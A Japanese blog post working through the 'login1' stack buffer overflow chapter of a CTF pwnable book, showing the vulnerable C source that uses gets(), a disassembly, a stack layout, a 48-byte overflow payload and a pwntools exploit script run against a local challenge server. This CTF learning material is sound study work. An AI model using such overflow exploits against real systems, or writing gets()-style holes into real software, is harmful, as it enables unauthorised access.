前回 から、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。
今回は、第2章の「login1(スタックバッファオーバーフロー1)」を読んでいきたいと思います。
それでは、やっていきます。
参考文献
今回、題材にさせて頂いた「解題pwnable」です。
はじめに
「セキュリティ」の記事一覧です。良かったら参考にしてください。
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ
・第50回:書籍「詳解セキュリティコンテスト」Pwnableの共有ライブラリと関数呼び出しを読んだ
・第51回:picoCTF 2025:General Skillsの全5問をやってみた
・第52回:picoCTF 2025:Reverse Engineeringの全7問をやってみた
・第53回:picoCTF 2025:Binary Exploitationの全6問をやってみた
・第54回:書籍「詳解セキュリティコンテスト」Pwnableの仕様に起因する脆弱性を読んだ
・第55回:システムにインストールされたものと異なるバージョンのglibcを使う方法
・第56回:書籍「詳解セキュリティコンテスト」Pwnableのヒープベースエクスプロイトを読んだ
・第57回:書籍「解題pwnable」の第1章「準備」を読んだ
・第58回:書籍「解題pwnable」の第2章「login1(スタックバッファオーバーフロー1)」を読んだ ← 今回
以下は、の公式サイトです。特に追加の情報はありませんでした。
また、以下は、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」の公式の Docker Hub です。書籍では、tag として、3 を使っていますが、4 がアップされています。とりあえず、3 を使ってやっていきます。
https://hub.docker.com/r/kusanok/ctfpwn
では、書籍の章を参考に書き進めていきます。
第2章:login1(スタックバッファオーバーフロー1)
2.1:問題の概要
ソースコード(login1.c)と、プログラムバイナリ(login1)が提供されています。
前回、紹介した、docker を起動しておき、ブラウザにアクセスします。下図のように、それぞれのリンクをクリックすることで、ダウンロードすることが出来ます。

実践
まずは、自力でやっていきます。
表層解析します。あ、実行権限がないので付与しておきます。また、最初から、glibc-2.31 に依存ライブラリを変更しておきます(方法、経緯などは、システムにインストールされたものと異なるバージョンのglibcを使う方法 を参考にしてください)。
$ chmod +x login1 $ cp ./login1 ./login1_patch $ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./login1_patch $ ldd ./login1_patch linux-vdso.so.1 (0x00007ffec29b2000) libc.so.6 => /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc.so.6 (0x00007f17d423e000) /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so => /lib64/ld-linux-x86-64.so.2 (0x00007f17d4432000) $ file login1_patch login1_patch: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=5c2c2e406f7a39e4a6d6b95d5a1f3f020d5a40c2, not stripped $ ~/bin/checksec --file=login1_patch RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH RW-RUNPATH 75 Symbols No 0 2 login1_patch $ pwn checksec --file=login1_patch [*] '/home/user/svn/experiment/kaidai_pwnable/chapter2/login1_patch' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu' Stripped: No
実行してみます。
問題サーバーにアクセスすると、flag.txt が用意されていると思いますが、ローカルで試すときには、自分で、flag.txt を準備する必要がありそうです。
問題文にあるように、ログインできるようにすればいいようです。
$ ./login1_patch Failed to read flag.txt $ nano flag.txt $ cat flag.txt flagflag $ ./login1_patch ID: aaa Password: bbb Invalid ID or password
ソースコード(login1.c)を見ていきます。
setup関数は、環境準備のためのようです。main関数を見ると、ID は admin であることが分かります。Password は、flag.txt の中身自体のようです。
ok というローカル変数が 0 で初期化されていますが、1(非0)に書き換えることが出来れば、フラグが読み出せそうです。
// gcc login1.c -o login1 -fno-stack-protector -no-pie -fcf-protection=none #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char flag[0x20]; char *gets(char *s); void setup() { FILE *f = NULL; alarm(60); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); f = fopen("flag.txt", "rt"); if (f == NULL) { printf("Failed to read flag.txt\n"); exit(0); } fscanf(f, "%s", flag); fclose(f); } int main() { char id[0x20] = ""; char password[0x20] = ""; int ok = 0; setup(); printf("ID: "); gets(id); printf("Password: "); gets(password); if (strcmp(id, "admin") == 0 && strcmp(password, flag) == 0) ok = 1; if (ok) { printf("Login Succeeded\n"); printf("The flag is: %s\n", flag); } else printf("Invalid ID or password\n"); }
GDB で起動して、スタックの状況を確認します。
$ gdb -q login1_patch Reading symbols from login1_patch... pwndbg> start Temporary breakpoint 1 at 0x401290 pwndbg> disassemble Dump of assembler code for function main: 0x000000000040128c <+0>: push rbp 0x000000000040128d <+1>: mov rbp,rsp => 0x0000000000401290 <+4>: sub rsp,0x50 0x0000000000401294 <+8>: mov QWORD PTR [rbp-0x30],0x0 0x000000000040129c <+16>: mov QWORD PTR [rbp-0x28],0x0 0x00000000004012a4 <+24>: mov QWORD PTR [rbp-0x20],0x0 0x00000000004012ac <+32>: mov QWORD PTR [rbp-0x18],0x0 0x00000000004012b4 <+40>: mov QWORD PTR [rbp-0x50],0x0 0x00000000004012bc <+48>: mov QWORD PTR [rbp-0x48],0x0 0x00000000004012c4 <+56>: mov QWORD PTR [rbp-0x40],0x0 0x00000000004012cc <+64>: mov QWORD PTR [rbp-0x38],0x0 0x00000000004012d4 <+72>: mov DWORD PTR [rbp-0x4],0x0 0x00000000004012db <+79>: mov eax,0x0 0x00000000004012e0 <+84>: call 0x4011b6 <setup> 0x00000000004012e5 <+89>: lea rdi,[rip+0xd3f] # 0x40202b 0x00000000004012ec <+96>: mov eax,0x0 0x00000000004012f1 <+101>: call 0x401060 <printf@plt> 0x00000000004012f6 <+106>: lea rax,[rbp-0x30] 0x00000000004012fa <+110>: mov rdi,rax 0x00000000004012fd <+113>: call 0x401090 <gets@plt> 0x0000000000401302 <+118>: lea rdi,[rip+0xd27] # 0x402030 0x0000000000401309 <+125>: mov eax,0x0 0x000000000040130e <+130>: call 0x401060 <printf@plt> 0x0000000000401313 <+135>: lea rax,[rbp-0x50] 0x0000000000401317 <+139>: mov rdi,rax 0x000000000040131a <+142>: call 0x401090 <gets@plt> 0x000000000040131f <+147>: lea rax,[rbp-0x30] 0x0000000000401323 <+151>: lea rsi,[rip+0xd11] # 0x40203b 0x000000000040132a <+158>: mov rdi,rax 0x000000000040132d <+161>: call 0x401080 <strcmp@plt> 0x0000000000401332 <+166>: test eax,eax 0x0000000000401334 <+168>: jne 0x401354 <main+200> 0x0000000000401336 <+170>: lea rax,[rbp-0x50] 0x000000000040133a <+174>: lea rsi,[rip+0x2d7f] # 0x4040c0 <flag> 0x0000000000401341 <+181>: mov rdi,rax 0x0000000000401344 <+184>: call 0x401080 <strcmp@plt> 0x0000000000401349 <+189>: test eax,eax 0x000000000040134b <+191>: jne 0x401354 <main+200> 0x000000000040134d <+193>: mov DWORD PTR [rbp-0x4],0x1 0x0000000000401354 <+200>: cmp DWORD PTR [rbp-0x4],0x0 0x0000000000401358 <+204>: je 0x401380 <main+244> 0x000000000040135a <+206>: lea rdi,[rip+0xce0] # 0x402041 0x0000000000401361 <+213>: call 0x401040 <puts@plt> 0x0000000000401366 <+218>: lea rsi,[rip+0x2d53] # 0x4040c0 <flag> 0x000000000040136d <+225>: lea rdi,[rip+0xcdd] # 0x402051 0x0000000000401374 <+232>: mov eax,0x0 0x0000000000401379 <+237>: call 0x401060 <printf@plt> 0x000000000040137e <+242>: jmp 0x40138c <main+256> 0x0000000000401380 <+244>: lea rdi,[rip+0xcdb] # 0x402062 0x0000000000401387 <+251>: call 0x401040 <puts@plt> 0x000000000040138c <+256>: mov eax,0x0 0x0000000000401391 <+261>: leave 0x0000000000401392 <+262>: ret End of assembler dump.
スタックを可視化します。
| アドレス | サイズ | 内容 |
|---|---|---|
| rbp - 0x50 | 32 | password[32] |
| rbp - 0x30 | 32 | id[32] |
| rbp - 0x10 | 12 | 未使用 |
| rbp - 0x4 | 4 | ok |
| rbp |
なるほど、ID を入力するときに、32byte ではなく、48byte を書き込み、ok の領域を、非0 にすれば良さそうです。
$ python -c 'print("a" * 48, end="")' | ./login1_patch ID: Password: Login Succeeded The flag is: flagflag
フラグが表示されました。
問題サーバー向けにスクリプトを実装しました。
#!/usr/bin/env python3 from pwn import * bin_file = './login1_patch' context(os = 'linux', arch = 'amd64') context(terminal = ['tmux', 'splitw', '-h']) context.log_level = 'debug' binf = ELF( bin_file ) def attack( proc, **kwargs ): id = "a" * 47 #48 password = "b" * 31 #32 proc.sendlineafter( 'ID: ', id.encode() ) proc.sendlineafter( 'Password: ', password.encode() ) info( proc.recvall() ) def main(): adrs = "localhost" port = 10001 #proc = gdb.debug( bin_file ) #proc = process( bin_file ) proc = remote( adrs, port ) attack( proc ) #proc.interactive() if __name__ == '__main__': main()
実行してみます。
無事に、フラグが表示されました。
$ python exploit_login1.py [*] '/home/user/svn/experiment/kaidai_pwnable/chapter2/login1_patch' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu' Stripped: No [+] Opening connection to localhost on port 10001: Done /home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [DEBUG] Received 0x4 bytes: b'ID: ' [DEBUG] Sent 0x30 bytes: b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n' [DEBUG] Received 0xa bytes: b'Password: ' [DEBUG] Sent 0x20 bytes: b'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n' [+] Receiving all data: Done (52B) [DEBUG] Received 0x34 bytes: b'Login Succeeded\n' b'The flag is: FLAG{58fd7d9bMJNTjnv5}\n' [*] Closed connection to localhost port 10001 /home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes self._log(logging.INFO, message, args, kwargs, 'info') [*] Login Succeeded The flag is: FLAG{58fd7d9bMJNTjnv5}

2.2:alarm、setvbuf
setup関数の alarm関数と、setvbuf について説明されています。
alarm(60) は、60秒経過すると、プログラムが終了する仕組みです。以下で試しました。
$ ./login1_patch ID: Alarm clock
エクスプロイトコードのデバッグなどで、この仕組みが邪魔な場合は、バイナリエディタで該当のコードを書き換えて、alarm関数を無効にする方法が紹介されています。
該当箇所を objdump で表示します。3c 00 00 00 を大きな値(ff ff ff ff など)にする方法と、e8 a0 fe ff ff を NOP で埋める(90 90 90 90 90)方法の 2つが紹介されています。
$ objdump -M intel -d login1_patch | less 4011c6: bf 3c 00 00 00 mov edi,0x3c 4011cb: e8 a0 fe ff ff call 401070 <alarm@plt>
ここでは、NOP で埋める方法をやってみます。バイナリエディタで開き、検索して、該当箇所を探します。
$ cp login1_patch login1_patch_nop

変更後です。

実行してみます。
60秒経過しても、終了しなくなりました。
$ ./login1_patch_nop ID:
また、setvbuf関数については、バッファサイズを 0 にして、標準出力などがバッファリングされなくなる対策と説明されています。
2.3:スタック
スタックに関する基本的な説明がされています。割愛します。
2.4:攻略
問題に対するアプローチと解説が書かれています。割愛します。
2.5:タイミング攻撃
この問題には、厳密に言うと、もう 1つの脆弱性があると書かれています。
strcmp関数は、不一致の文字を検出した時点で終了するため、Password の文字を総当たりで試して、処理時間の長い場合に、その文字は正解だったと判定を繰り返すことで、Password を求める方法です。
著者が試されていて、localhost で実施した場合でも、処理時間について、有意な差はなかったと言われています。ネットワーク越しだと、さらに難しくなるため、現実的ではないということでした。
以上で、第2章「login1(スタックバッファオーバーフロー1)」は終了です。
おわりに
引き続き、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。今回は、第2章「login1(スタックバッファオーバーフロー1)」をやりました。
次回は、第3章「login2(スタックバッファオーバーフロー2)」を進める予定です。
最後になりましたが、エンジニアグループのランキングに参加中です。
気楽にポチッとよろしくお願いいたします🙇
今回は以上です!
最後までお読みいただき、ありがとうございました。